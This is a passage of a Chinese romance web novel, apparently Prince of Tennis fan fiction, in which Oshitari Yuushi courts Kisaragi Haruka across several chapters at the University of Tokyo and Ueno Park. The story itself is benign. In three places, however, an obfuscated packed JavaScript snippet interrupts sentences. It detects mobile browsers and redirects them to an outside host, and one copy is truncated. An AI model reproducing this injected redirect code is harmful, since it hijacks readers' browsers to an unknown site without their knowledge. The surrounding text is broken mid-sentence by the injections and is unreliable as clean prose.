他认命地拿起刚才被她挣扎时碰掉的腰靠,再次小心翼翼地、试探性地塞回她腰后。 这一次,她依旧没有拒绝,只是几不可察地调整了一下姿势,让自己靠得更舒服些。 忍足的嘴角,终于忍不住,勾起了一个小小的、得逞的弧度。 车厢内重新恢复了平稳行驶的节奏,只有空调系统低沉的嗡鸣和轮胎摩擦路面的声音。时间在沉默中悄然流逝。 不知过了多久,或许是她那阵来得快去得也快的起床气终于彻底消散,又或许是别的什么原因,如月遥忽然动了动。 她转过身子,不再是那个用后脑勺示人的赌气姿态,而是将目光直直地投向身旁的忍足。 那目光专注而直接,带着一种审视的意味,看得忍足心里有点发毛。 他下意识地坐直了些,脑子里飞快地回想:怎么了?不是已经不生气了吗?难道刚才不小心又哪里惹到她了? 就在他暗自忐忑时,如月遥伸出了手,食指指向了他的左臂肘关节处。 “这里,”她的声音还带着一点刚睡醒的微哑,但语气却很清晰,“疼不疼?” 忍足一愣,顺着她指的方向低头看去。他穿着长袖衬衫,外表看不出任何异样,他自己甚至都没太感觉到。 经她这么一提,他才隐约回忆起,刚才猛地把她捞回来的时候,自己的左肘好像确实为了稳住身形,狠狠撞在了坚硬的车门内饰板上,发出过一声闷响。 当时全部注意力都在她身上,竟完全忽略了这点小磕碰。 他下意识地想露出一个绅士的、无所谓的笑容,说些“没关系”、“小事情”、“男人这点不算什么”之类的话搪塞过去。 可一抬头,就对上了如月遥那双清凌凌的眼睛。 那眼神里没有任何戏谑或随意,只有一种不容置疑的认真,仿佛在说:不许说谎,老实回答。 在这种目光的注视下,任何敷衍的言辞都显得苍白无力。 忍足那点想要维持风度的念头瞬间瓦解,他几乎是顺从地、老老实实地回答:“呃……好像,是有一点疼。” 说完甚至觉得有点不好意思,像个被老师抓住小错误的学生。 如月遥听完,没什么表情地撇了一下嘴,似乎对他的后知后觉和试图隐瞒表示不满。 然后,她做出了一个让忍足意想不到的举动——她反手将那个之前被他塞回来、此刻正垫在她腰后的记忆棉腰靠抽了出来,塞回了他怀里。 “拿着。”她的语气带着点不由分说的意味,然后看着他的胳膊叮嘱,“到了东京,如果还觉得疼,或者活动不方便,去医院检查一下。” 她顿了顿,补充了一句,语气自然得像是在处理公务,“检查费我报销。” “……” 忍足抱着突然被塞回来的腰靠,听着她这番硬邦邦却又实实在在透着关心的话,一时之间,心里像是被什么东西猛地撞了一下,酸酸软软,又温暖得不可思议。 他想笑,觉得她这种“大小姐式”的关心方式真是别具一格,又忍不住为这份突如其来的、细心的关注而感到无比的熨帖和开心。 她在别人注意不到的细微之处,有着惊人的洞察力。 连他自己都没放在心上的一点小磕碰,她却清晰地捕捉到了那瞬间的撞击声,并且记住了。 啊……被她关心了。 这个认知让忍足的心跳又开始不争气地加速,一股难以言喻的喜悦像泡泡一样咕嘟咕嘟地往上冒。 他努力压下想要上扬的嘴角,维持着表面的镇定,甚至带上了一点恰到好处的、受宠若惊的语调: “好的,谢谢如月小姐关心。” “如果真有事,我一定第一时间向大小姐汇报,并申请报销。” 他故意用了一种略带玩笑又恭敬的语气,试图冲淡那份过于明显的悸动。 如月遥听完,没什么表示,只是又瞥了一眼他的胳膊,然后重新转回头看向窗外,仿佛刚才那段对话只是一个小插曲。 但忍足抱着那个还残留着她体温和淡淡雪松香气的腰靠,只觉得左肘那点微不足道的疼痛早已被另一种更汹涌的情绪彻底覆盖了。 真好。 他想。 黑色的轿车平稳地驶入东京都内,最终在忍足家门前缓缓停下。 “到忍足先生家了。”司机低声提醒,并下车为忍足打开车门。 忍足下了车,晚风吹拂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526614|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着东京夜晚特有的微凉气息。 他站在车边,忽然像是想起了什么极其重要的事情,动作顿住了。 迅速拿出手机,转向如月遥,脸上露出一个混合着些许不好意思,却带着十分恰到好处的笑容:“啊,对了,如月小姐……你刚刚说,如果检查胳膊要报销的话,得联系你才行。” 他晃了晃手机,眼神诚恳又带着点期待,“方便留个联系方式吗?LINE或者电话都可以。” 这个理由找得冠冕堂皇,无懈可击。 如月遥看了他一眼,似乎觉得这个要求很合理,也没多想,便从随身的小包里拿出了自己的手机解锁。 忍足的视线飞快地在她手机屏幕上一扫。 漆黑的背景上,只有一轮皎洁却孤独的明月,清冷的光辉洒满屏幕,除此之外再无他物。 真像她啊。 忍足心想。 像夜空中那轮孤高的月亮,美丽、明亮,却带着无法忽视的距离感。 如月遥点开LINE的二维码名片递过去。 忍足强压下心中的雀跃,迅速扫码发送了好友申请。 几乎立刻,申请就被通过了。 他点开她的个人信息。头像依旧是那轮孤月,昵称只有一个简单的英文单词:Moon。 Moon 月亮。 忍足嘴角控制不住地扬起一个了然的微笑。 他收起手机,语气轻快:“好了。今天谢谢如月小姐的便车。路上小心。” 如月遥微微颔首,算是告别。 忍足站在路边,看着车尾灯逐渐融入东京夜晚的车流,最终消失在视线尽头,这才转身走向自家大门,心情好得几乎要飘起来,脚步都带着轻快的节奏。 路过客厅时,甚至破天荒地主动和正躺在沙发上敷着绿色面膜、看起来有点吓人的姐姐打了个招呼:“我回来了,惠里奈姐。” 正从厨房出来的忍足妈妈看到儿子这副轻快的模样,惊讶地眨了眨眼,随即忍不住抱怨道:“侑士回来了?最近能不能别再放那首哀伤的曲子了?” “听得我都心里发闷,感觉晚上也睡不好似的。” 忍足笑着爽快答应:“好,不放了。” 甚至还轻轻哼起了不知名的小调,走向楼梯。 忍足父亲从报纸后抬起头,看着儿子明显不同于前段时间、甚至堪称愉悦的背影,疑惑地推了推眼镜:“这次京都的赏花宴……这么有趣吗?” 他看向妻子,“看来和清水家的联姻,或许有点希望?” 回到自己的房间,忍足快速洗漱完毕,换上舒适的家居服,便迫不及待地倒进沙发里,拿出手机。 指尖点开那个名为“Moon”的联系人。 头像那轮月亮怎么看怎么顺眼。 他反复点开大图又退出,甚至想去看看她的动态,可惜她的界面干净得像她的手机壁纸,几乎看不到任何更新,更别提照片了,窥探不到任何额外的信息。 正当他对着手机屏幕傻笑兼略有遗憾时,手机突然震动起来,屏幕上跳动着【迹部景吾】的名字。 忍足深吸一口气,调整了一下表情,才接起电话:“喂,迹部。” “啊嗯?回到东京了?”迹部华丽的声音透过听筒传来,“明天别再找借口翘课了,医学部的教授已经注意到你了。” “知道了,明天会准时去的。”忍足应道。 电话那头沉默了两秒,迹部的声音再次响起,带着明显的玩味和探究:“忍足,你是不是对那位如月家的小姐,有点意思?” 忍足握着手机,看着屏幕上那轮冰冷的月亮,嘴角却缓缓勾起一个清晰的弧度。 他没有否认,带着点无奈又甜蜜地叹了口气:“这么明显吗?” “呵。”迹部发出一声意味不明的轻笑,“有趣。从国中认识到现在,你这家伙外表看起来游刃有余,实际上纯情得可笑,拒绝了所有女生的情书和告白。” “本大爷还是第一次,见你对一个女生表现出这么明显的兴趣。” 忍足低笑出声,坦然承认:“是啊,第一次。” 他的目光再次落回那轮月亮上,声音里带着一丝不易察觉的憧憬,“可惜,长路漫漫……” 那位月亮小姐,可不是那么容易就能摘到的。 但正因为如此,才更加让人想要靠近,想要探索,想要据为己有。 13. 第 13 章 东京大学厚重的学术气息扑面而来,新的校园生活篇章正式翻开。 忍足侑士一大早就出现在了医学部那栋充斥着消毒水味道的教学楼里,然后毫无意外地被面色铁青的老教授堵在走廊训了足足十分钟。 即便他是公认的天才,即便他早就自学完了大半课程,周一就敢明目张胆地翘课这种行为,在严谨的老教授眼里也是不可饶恕的懈怠。 “……医学是关乎人命的学科!容不得半点马虎和散漫!忍足君,我希望你记住……” 教授的谆谆教诲夹杂着喷溅的口水,让忍足只能低头乖乖认错,心里却惦记着隔了一条宽阔银杏大道的文学部。 可惜医学部的课程和实验排得密密麻麻,强度极大,饶是忍足也不敢再分心,只能暂时收敛起所有旖旎心思,将精力投入到繁重的学业中。 解剖图、药理学公式、病理分析……充斥了他的大脑。 好不容易熬到中午下课铃声响起,他几乎是立刻拿出手机,屏幕上果然躺着迹部景吾发来的短信,言简意赅地指定了餐厅和位置。 忍足叹了口气,认命地收拾东西。 离开教学楼时,他忍不住驻足,望向对面那栋被金色银杏叶环绕的文学部大楼,玻璃窗在阳光下反射着耀眼的光,看不清里面的情形。 希望能遇见她。 这个念头像羽毛一样轻轻搔过他的心尖。 学生餐厅里人声鼎沸。 忍足找到迹部时,对方正优雅地享用着一份看起来就很昂贵的餐食,与周围嘈杂的环境格格不入。 忍足在自己那份定食前坐下,却有些食不知味,无意识地戳着米饭,目光时不时飘向餐厅入口,显得有些心不在焉。 “喂,差不多得了。”迹部放下筷子,受不了似的用纸巾擦了擦嘴角。 “这才第一天,就一副魂不守舍的样子,一点都没有‘天才军师’该有的风范。” 忍足回过神来,没好气地回怼:“那是因为某位大爷没有体验过什么叫‘命中注定’的感觉。” 他说这话时,语气里带着一种混合着炫耀和苦恼的复杂情绪。 迹部被他这肉麻兮兮的用词恶心到了,露出一个极其嫌弃的表情,懒得再搭理他,仿佛多看一眼都会降低自己的格调。 就在这时,旁边一桌几个男生的对话,清晰地飘进了忍足的耳朵。 “喂喂,听说了吗?文学部今年来了个超级厉害的新生!” “啊?多厉害?成绩很好?” “不是成绩!是长相!据说美得惊为天人!但是也超级高冷,几乎不跟人说话!” “真的假的?哪个班的?有照片吗?” 忍足的耳朵瞬间竖了起来,手中的叉子彻底停下,全身的注意力都集中在了那桌八卦上。 另一个声音加入,带着兴奋:“何止是照片!论坛上都传开了!” “偷拍的一张侧脸,在银杏树下看书的,简直了!比那些杂志模特还好看!关键是那种气质,绝了!” “我也看到了!好像是中国来的留学生,叫什么如月?” “对对对!如月遥!现在论坛里都在讨论她呢!听说好几个系的系草都已经蠢蠢欲动,打算去‘偶遇’了……” 忍足的脸色瞬间变得有些微妙。 他立刻拿出手机,手指飞快地点开东京大学的校园论坛。 果然,在热门帖子的位置,赫然飘着一个标题: 【新女神】文学部中国留学生如月遥さん、その圧倒的美貌に注目!(文学部中国留学生如月遥小姐,其压倒性美貌引人注目!) 他点开帖子,主楼最上方就是一张抓拍的照片。 金色的银杏叶如同碎雨般洒落,如月遥穿着一件简单的米白色衬衫,坐在图书馆外的长椅上,微微低着头,专注地看着摊在膝上的一本厚书。 阳光透过树叶的缝隙,在她身上投下斑驳的光晕,侧脸线条精致得如同雕刻,神情恬静而专注,一种不染尘埃的美自然流露。 下面的回帖已经盖起了高楼,各种惊叹、赞美、打听联系方式、甚至扬言要追求的话层出不穷。 忍足看着那张照片,心里像是打翻了五味瓶。 一方面觉得拍得确实很美,捕捉到了她独特的气质;另一方面,又有一股强烈的不爽和危机感油然而生。 他的月亮,这么快就被这么多人发现了? 迹部自然也听到了旁边的议论,优雅地端起水杯喝了一口,眼眸里闪烁着看好戏的促狭光芒,用他那特有的、华丽又欠揍的语调慢悠悠地说: “啊嗯?看来我们关西的MVP,对手不少啊。” 他故意拖长了调子,像是在吟咏诗句,“希望你的‘命中注定’,不会这么快就被别人截胡。” 忍足:“……” 接连数日,密集的课业与迹部的网球邀约几乎占据了忍足全部心神。 医学部的空气里常年弥漫着消毒水与旧纸页混合的气味,压得人有些喘不过气。 午后被迹部拎去球场,几轮高强度对抗下来,饶是他也感到肌肉隐隐作酸,连思维都似乎迟钝了几分。 午餐时间照例前往学生餐厅,视线习惯性地在喧闹人群间巡梭,却始终未能捕捉到那一抹清冷身影。 意料之中……他推了推眼镜,镜片后的目光掠过一丝落寞。 那种地方,确实不像是她会踏足的。 关于她的消息却无孔不入,那个在校园论坛持续发酵的热帖。 内容已从最初惊为天人的外貌讨论,演变为每日更新的“挑战者联盟败北实录”,戏剧性十足。 情书被精准投入“不可回收”分类箱;包装精美的礼物出现在保洁工具车底层;公开场合的告白遭遇彻底的无视,当事人僵立原地成为当日景点…… 诸如此类,层出不穷。 论坛列表里的“阵亡”ID与日俱增。 共识逐渐形成:强攻路线此路不通,策略遂转向更为迂回的怀柔。 直接后果是文学部课堂人气空前爆棚,尤其是公开课与热门选修,座无虚席已成常态,甚至出现跨学院抢课盛况。 文学部教授们对此乐见其成,学风浓厚的美誉不胫而走,衍生出的“代抢课”业务更是行情看涨。 据迹部漫不经心提及,课堂现奇特景观:她通常择偏隅而坐,周身自然形成一圈真空地带。慕名而至者众,却无人敢真越雷池一步,只敢远坐外围,形成众星拱月之局。 忍足听着,指节无意识轻叩桌面。 烦躁感如细蚁啮心,某种属于自己的珍宝被置于橱窗任人观赏的不悦悄然蔓延。 然而…… 他想起疾驰的车内,她裹着雪松冷香困倦的模样;想起环球影城闹哄哄的背景里,她顶着库洛米帽子,眼底一闪而过的鲜活亮光。 优越感悄然而生,抚平了焦躁。 这些人,连与她对话的资格都无。 但坐以待毙绝非上策。 他抬眸,看向对面姿态优雅用餐的迹部,唇角勾起惯有的弧度:“呐,迹部。” 迹部抬眼,眼神示意他有话直说。 “文学部那边的选修课,”忍足语气随意,“听说热闹得很。以你的手段,额外塞个人进去,应该不算难事?” 他需要更合理的契机接近,课堂无疑是最佳选择。 迹部嗤笑一声,指尖掠过泪痣:“呵。现在文学部的选修名额堪比拍卖会压轴品,早八百年前就抢空了。你以为是谁都能插队的?” “嘛……总会有办法的,不是吗?”忍足笑意不减,镜片后的目光却带着不容错辨的坚持,“毕竟是你啊,迹部。” 迹部审视他片刻,最终像是嫌麻烦般挥了下手,拿出手机走到一旁低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526615|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声交涉。 不多时返回,将屏幕亮给他看——一封课程确认邮件。 “「日本古典文学赏析」,下周二开始。”迹部语气平淡,仿佛只是处理了件微不足道的小事,“别迟到给本大爷丢脸。” 忍足扫过邮件内容,唇角弧度加深:“谢了。”语气恢复一贯的从容,仿佛方才那片刻的急切从未存在。 “啊嗯。记得欠我一顿饭。”迹部重新拿起刀叉,不再看他。 夜幕低垂,忍足靠在房间的沙发上,手机屏幕的光映亮他略显沉吟的脸。 被动等待从不是他的风格,尤其是在确认了自己的心意之后。 指尖在屏幕上停顿片刻,他终是敲下了一行字,发送出去。 【忍足侑士】:校园生活还适应吗?东大总是有些喧闹。 消息发出后,时间仿佛被拉长。 他几乎能想象出对方看到信息时,那双清冷眼眸里可能掠过的细微不耐。 很快,屏幕亮起。 【Moon】:一般。很吵。 言简意赅,果然是她风格。忍足几乎能看见她微蹙着眉头的模样。 他轻笑一下,继续输入,抛出一个精心准备的诱饵。 【忍足侑士】:明天中午学生餐厅有特供的上等牛排,迹部家赞助的食材和厨师,水准应该能入眼。要过来尝尝看吗? 这次等待的时间稍长了些。忍足的手指无意识地摩挲着手机边缘。 【Moon】:餐厅在哪? 忍足看着这行字,先是愕然,随即失笑,一种无奈又了然的心情涌上心头。 原来如此…… 她一直没在餐厅出现,根本不是因为挑剔或别的原因,而是这位大小姐压根就不知道学生餐厅的具体位置。 想想她那初来乍到、对周遭环境漠不关心的性子,这倒真像是她会做的事。 他摇了摇头,立刻回复,机会来得恰到好处。 【忍足侑士】:位置有点不好找。明天你几点下课?我正好顺路,可以过去接你。 【Moon】:11:50。文学部一楼103阶梯教室。 她答应了。 甚至还给出了具体的时间和地点。 忍足看着屏幕上那行清晰的信息,唇角控制不住地向上扬起。虽然回复依旧简洁,没有多余的情绪表达,但这已经是巨大的进展了! 至少,她愿意接受他的邀请,并且信任地给出了碰面地点。 这和那些连话都搭不上、礼物被直接扔掉的“挑战者”们,有着本质的区别。 他在她心里,终究是不同的。 这个认知让他胸腔里充盈着一种微妙的、带着暖意的满足感。 正当他沉浸在这份小小的喜悦中时,手机又震动了一下。 【Moon】:你的手肘,复查了吗?没问题? 她竟然主动关心他了? 虽然语气依旧平淡,但这可是破天荒头一遭。 忍足的心跳漏了一拍,随即涌上更多的欣喜。迅速回复,语气刻意放松,带着点玩笑意味: 【忍足侑士】:劳大小姐挂心,没事了,淤青第二天就散了。 他喜欢叫她“大小姐”。 这个称呼带着一点点调侃,一点点距离感,却又包裹着一种难以言喻的亲昵和专属意味。 在他心里,这个称呼再适合她不过——高傲、疏离、需要人小心翼翼捧着,却又自带不容置疑的气场。 那边沉默了几秒,才回过来一个字。 【Moon】:嗯。 对话似乎到此为止。 但忍足看着那个简单的“嗯”字,却觉得比收到任何长篇大论的关心都更令人愉悦。 他放下手机,心情大好地起身去倒水,脚步都带着轻快的节奏。 好的开始,是成功的一半,不是吗? 14. 第 14 章 翌日上午,忍足侑士并无课程安排,却比任何日子起得都更精心。 衣橱里的衣服被来回挑选,最终定下一身看似随意、实则处处透着心机的休闲装扮。 面料挺括的浅灰衬衫,袖口随意挽至小臂,露出线条流畅的手腕;合身的深色长裤完美勾勒出长腿比例;连鼻梁上那副眼镜,都换成了更能衬托他慵懒气质的一款。 算准了时间,他如同任何一个普通学生般踏入文学部的教学楼。 内部格局与医学部的冷硬严谨截然不同,弥漫着一种舒缓的人文气息。 他准确无误地找到了103阶梯教室。 还未靠近,便已感受到那股异乎寻常的热度。教室前后门的玻璃窗上都能看到攒动的人影,里面显然是座无虚席,且目测男性比例高得离谱。 镜片反射着走廊的灯光,他掩去眼底一丝不易察觉的不爽。找了个不远不近、又能清晰看到教室门口的位置,倚墙而立,耐心等待着。 当下课铃声终于敲响,教室门被学生们推开,人流涌出时,忍足瞬间调整好了姿态。 他松开抱臂的姿势,一只手随意地插进裤袋,身体微微放松,呈现出一种恰到好处的、既不刻意也不散漫的慵懒感,目光精准地锁定在随着人流缓步走出的那个身影上。 如月遥依旧是简单的装扮,却总能穿出与众不同的清冷感。她正低头看着手机,似乎对周围的嘈杂浑然未觉。 忍足唇角勾起一抹浅淡的笑意,向前迎了半步,用他那把被许多人评价为“性感”的低沉关西腔,清晰又不显突兀地唤道:“如月小姐。” 如月遥闻声抬起头,看到是他,脸上并无太多意外表情,只是微微颔首,便自然地向他走来,这一连串动作行云流水,仿佛早已约定好。 然而,周围的人群却像是被按下了暂停键,无数道目光瞬间聚焦在这两人身上。 那个拒绝了所有人的高岭之花,竟然会对一个陌生英俊的男人主动走过去? 而且那个男人还等在教室门口? 窃窃私语声如同潮水般蔓延开来。 忍足将周遭的震惊尽收眼底,镜片后的眸光微闪,决定再添一把火。 他极其自然地伸出手,不是试图去碰触她,而是目标明确地、轻轻巧巧地接过了她拎在手中的那个看起来没什么分量、但象征意义重大的书包。 “走吧。” 他语气寻常得像是在做一件再普通不过的事,用一种不容置疑却又不会令人反感的姿态,领着这位万众瞩目的大小姐,坦然自若地穿过一片惊掉下巴的围观群众,离开了这是非之地。 回头率高达百分之两百。 所经之处,几乎能听到此起彼伏的下巴落地声和倒抽冷气声。 如月遥对此视若无睹,注意力完全被另一件事占据,很认真地问他:“迹部提供的牛排真的好吃吗?” 语气里带着毫不掩饰的挑剔和威胁,“不好吃的话,我会生气。” 忍足低头看着她认真的侧脸,忍不住笑起来,语气里带着一点玩笑般的保证:“放心,迹部家的水准还是有保障的。如果真的不合口味……” 他顿了顿,想起在大阪USJ,从善如流地接道,“就像在USJ那样,都交给我解决。” 这个回答似乎让她满意了,她点了点头,不再多问,跟着他踏入了东大学生餐厅那扇对于她而言颇为陌生的大门。 餐厅内喧嚣的人声和食物的香气扑面而来。 忍足能感觉到,无数道或明或暗的视线,如同探照灯一般,紧紧跟随着他们。 而他身旁的如月遥,却仿佛自带隔离屏障,对这一切浑然不觉,或者说根本不在意。 他的心情,却如同窗外五月的阳光,明媚而灿烂。 午餐接近尾声,那块迹部家赞助的上等牛排显然颇合如月遥的口味。 她放下刀叉,用餐巾轻轻按了按嘴角,虽然脸上依旧是那副没什么表情的样子,但周身那股生人勿近的冰冷气场似乎柔和了些许。 “味道还满意吗,大小姐?”忍足适时开口,语气带着恰到好处的询问。 如月遥点了点头,算是认可。 忍足唇角笑意加深,顺势问道:“餐厅的甜品区今天有抹茶芭菲和蒙布朗栗子蛋糕,想试试哪一种?” 他记得她嗜甜,但对某些口味似乎很挑剔。 果然,如月遥立刻蹙了下眉,带着点嫌弃的口吻:“不要抹茶。苦的,不好吃。” 忍足了然,果然如此,他站起身:“明白了。我去拿栗子蛋糕。” 他朝着甜品区走去,步履从容。 餐厅里依旧有不少目光或明或暗地追随着他,经过几张桌子时,压低却依旧清晰的议论声不可避免地飘进他耳中。 “喂!那不是医学部的忍足侑士吗?” “真的是他!那个打网球超厉害的关西公子哥?” “天才医学生啊……居然是他……” “原来如月认识的是这种级别的人物吗?怪不得看不上别人……” “医学部的王牌和文学部的新晋女神……这组合……” 那些他平日并不甚在意的头衔——医学部天才、网球部精英、关西忍足家的公子,此刻听起来竟格外顺耳。 它们像一层层无形的光环,将他与周围那些蠢蠢欲动的“竞争者”清晰地区分开来。 月亮只有一个,皎洁而遥远,吸引着所有仰望的目光。 谁都想去争一争,试图染指那份清辉。 但是,忍足在心里轻笑一声,掠过一丝势在必得的锐芒。 他既然已经站在了离月亮最近的位置,就绝不会退让半分。 取了制作精致的蒙布朗栗子蛋糕,他端着盘子回到座位,轻轻放在如月遥面前。 如月遥舀了一勺送入口中,栗子泥的绵密香甜和奶油的醇厚瞬间在口中化开,她的眼睛几不可察地亮了一下,像夜空中忽然划过的小星星,虽然转瞬即逝,但一直留意着她的忍足精准地捕捉到了。 他最喜欢看她吃到心仪食物时这种细微的表情变化,那瞬间的满足感会让她褪去所有冰冷的伪装,露出一点点近乎孩子气的本真,生动得让人移不开眼。 这种表情,是他小心翼翼、一步步靠近才偶尔能窥见的奖赏。 他可不愿意让周围那些窥探的视线分享了去。 极其自然地调整了一下坐姿,身体微微向前倾,手臂看似随意地搭在桌沿,恰好形成了一个巧妙的遮挡,将大部分来自外界的视线隔绝开来,只留下一个专注的带着笑意的眼神给她。 “看来合大小姐的口味?”他低声问,语气里带着一丝了然的愉悦。 如月遥抬眸瞥了他一眼,没说话,只是又舀了一勺蛋糕,用行动给出了回答。 忍足看着她微垂着眼睑、专心享用甜点的侧脸,觉得这顿午餐,真是值回票价。 于是,东京大学的校园论坛今夜彻底陷入了沸腾。 无数个帖子如同雨后春笋般冒出来,标题无一不带着惊叹号和各种情绪化的词汇。 【爆!医学部王子殿下和文学部冰山美人实锤同行!有图有真相!】 【心碎!忍足君居然真的名草有主了吗?!对象还是那个难以接近的中国留学生!】 【救命!这对颜值组合也太顶了吧!并肩走像是拍偶像剧!冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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做完这一切,他想了想,又点开了那个极简风格的聊天界面,头像是一弯孤月。 【忍足侑士】:周末有什么安排吗? 等待回复的时间并不长,但足以让心跳的频率发生微妙变化。 【Moon】:没有。 简洁得一如她本人。 【忍足侑士】:上野公园最近有几个很不错的特展,附近的美术馆和博物馆也有新展品,有兴趣去看看吗?据说还有一家隐藏的和果子老铺,栗子是一绝。 他抛出了文化诱惑,也没忘记投喂美食诱饵。 这一次,回复来得稍慢了一些,似乎在斟酌。 【Moon】:可以。你安排时间。 【忍足侑士】:周六上午十点,我来接你。记得穿舒服一点的鞋子,走路可能会比较多。 【Moon】:知道了。周六见。 对话结束得干脆利落,忍足却盯着最后那三个字看了好几秒。一种难以言喻的、轻盈而饱满的情绪充盈在胸腔,几乎要满溢出来。 这种心情需要找一个出口。 他放下手机,走到窗边,拿起了靠在墙边的小提琴和琴弓。 没有乐谱,悠扬而带着明显愉悦情绪的旋律便自然而然地流淌出来,是他最近一直在琢磨的那首《诀别书》改编曲。 但此刻拉的段落,早已洗去了原曲的悲怆,取而代之的是一种温柔又明亮的期盼,音符跳跃着,像阳光下闪烁的溪流,蜿蜒着流向未知却令人向往的远方。 悦耳的琴声透过隔音良好的门窗,隐约传到了楼下客厅。 忍足母亲动作一顿,侧耳倾听,随即了然地笑了,对旁边看报纸的丈夫低声说:“侑士最近心情很好呢。” 忍足父亲从报纸后抬起头,推了推眼镜:“嗯,这曲子和前几天不太一样了。” 楼上的琴声依旧悠扬,每一个音符都裹着蜜糖般的甜意,在夜色中轻轻荡漾,诉说着演奏者那份藏不住的、越发明朗的心动。 15. 第 15 章 周六的东京,天高云淡,阳光和煦,是个绝佳的出游日。 忍足侑士驾驶着他那辆线条流畅却不失沉稳的奥迪A7,精准地停在了如月遥家门口。顺利获取地址,也是今日的收获之一。 抬腕看了看表,差一分钟十点。 几乎是秒针刚划过十二,大门被推开,清冷的身影准时出现。 忍足眼底掠过一丝惊艳。 她今日一身极具中式风情的便装。 无袖的紫色上衣,面料透着隐隐光泽,上面用金线精细地绣着几丛修竹,衬得她肌肤愈发白皙。 下身是垂坠感极好的白色绸缎长裤,勾勒出笔直纤细的腿型。一头乌黑的长发编成了松散的侧边麻花辫垂在胸前,少了几分疏离,多了几分柔和的文艺气息。 头上宽檐遮阳帽,又为她增添了大小姐出游的矜贵感。 忍足立刻下车,唇角噙着惯有的慵懒笑意,自然地上前接过她那个看起来同样很有设计感的竹柄绸缎包。 “早上好,大小姐。”关西腔调里带着显而易见的愉快。 “早。”如月遥微微颔首。 他替她拉开副驾的车门,手掌绅士地护在车门顶框,如月遥低头坐了进去,姿态优雅。 忍足绕回驾驶座,刚系好安全带,就听到身侧传来疑问。 “超级雪松?” 忍足侧过头,对上她略带探寻的目光。她鼻尖微动,似乎确认了车厢内弥漫的、与她身上同源却因载体不同而略有差异的冷冽香气。 “是啊,”忍足扶了扶眼镜,发动车子,语气轻松自然,“感觉很干净清冽,适合开车的时候用,提神醒脑,不容易犯困。” 他流畅地说出早已准备好的说辞,表情管理完美无缺。 他才不会坦白,自己在得知她用的香水后,特意去了Byredo专柜,几乎是不假思索地买下了“超级雪松”的全线产品——香水、沐浴露、身体乳…… 如月遥听了,只是“嗯”了一声,似乎接受了他这个合情合理的解释,并未深究,转头望向了窗外的流动的街景。 车内流淌着舒缓的古典乐,是某个极具韵味的交响乐章。 忍足开车很稳,手指偶尔随着节奏在方向盘上轻轻点动。 一段大提琴协奏曲过后,如月遥忽然开口:“刚才那段,再放一遍。” 忍足有些意外,随即眼底漾开笑意。 “这首?德沃夏克的b小调大提琴协奏曲第二乐章片段。”他一边说着,一边熟练地操作车载屏幕,将进度条拖回她指定的部分。 悠扬深情的旋律再次充满车厢。 如月遥安静地听着,目光依旧看着窗外,但注意力显然全在音乐上。 等到下一个红灯,忍足停下车子,侧身指向中控台上的按钮。 “这里是收藏,这里是上一曲/下一曲,这个旋钮可以调节音量也能按下去暂停。蓝牙已经连好了,下次大小姐若是想听,可以自己选歌。” 他演示了一遍,语气耐心。 如月遥看了看那些按钮,又抬眼看了看他格外认真的侧脸,点了点头表示明白。 沉默了几秒,她忽然评价道:“服务很周到。专车接送,还有专属DJ。你做导游,确实不错。” 她的夸奖直接而客观,听不出太多情绪起伏,但忍足的心却像被羽毛轻轻搔过,痒痒的,泛起难以言喻的喜悦。 他低笑一声,重新握紧方向盘,看着绿灯亮起。 “能得到大小姐的认可,是我的荣幸。”关西腔调拖得长长的,满载着愉悦,汇入周末的车流之中,向着上野公园的方向平稳驶去。 停好车,踏入上野公园的地界,空气中仿佛都飘散着文化与自然的闲适气息。 虽是周末,人流却不显拥挤,更添几分惬意。 忍足自然而然地走在如月遥身侧稍靠前半步的位置,既为她引路,又细心地为她隔开偶尔迎面而来的人流。 “这边是东京国立博物馆,如果对日本历史文物感兴趣,我们可以稍后再去。” “前面不远处就是国立西洋美术馆,今天有特展。” 忍足侧头向她介绍,眼镜在阳光下反射出微光。 微风拂过,带来了晚樱最后的、稀稀落落的花瓣。 如月遥抬头看了看枝头残存的、颜色已淡的樱花,语气平淡地评价:“这里的樱花,很一般。” 忍足挑眉,等待她的下文。 “不如我家乡的,”她继续道,声音里听不出太多怀念,更像是在陈述一个客观事实,“那是全球著名的赏樱胜地。樱吹雪的时候最好看。” 忍足心思微动,立刻从记忆里调取与中国著名赏樱地相关的信息,试探地问:“W市?” 如月遥点了点头,算是肯定了他的猜测,目光已投向不远处美术馆颇具现代感的建筑轮廓。 国立西洋美术馆内,光线被精心调控,营造出沉静肃穆的观赏氛围。 他们随着人流缓缓移动,从马奈的写实到高更的原始热情,从梵高的炽热笔触到毕加索的解构主义。 如月遥看得很专注,但很少评论,只是偶尔在某幅画前会多停留十几秒。 直到来到莫奈的《睡莲》系列面前,她彻底停下了脚步。 巨大的画幅几乎占据了整面墙,朦胧而丰富的色彩构建出一个光影交织、水波氤氲的梦幻池塘,她静静地站在那里,看了很久,久到忍足都觉得有些意外。 “很喜欢莫奈?”他轻声问,怕惊扰了这份专注。 “嗯,”如月遥的目光仍未离开画作,“很温暖的颜色。” 她顿了顿,似乎是在组织语言,“我喜欢温暖的东西。” 忍足微微一怔。 温暖? 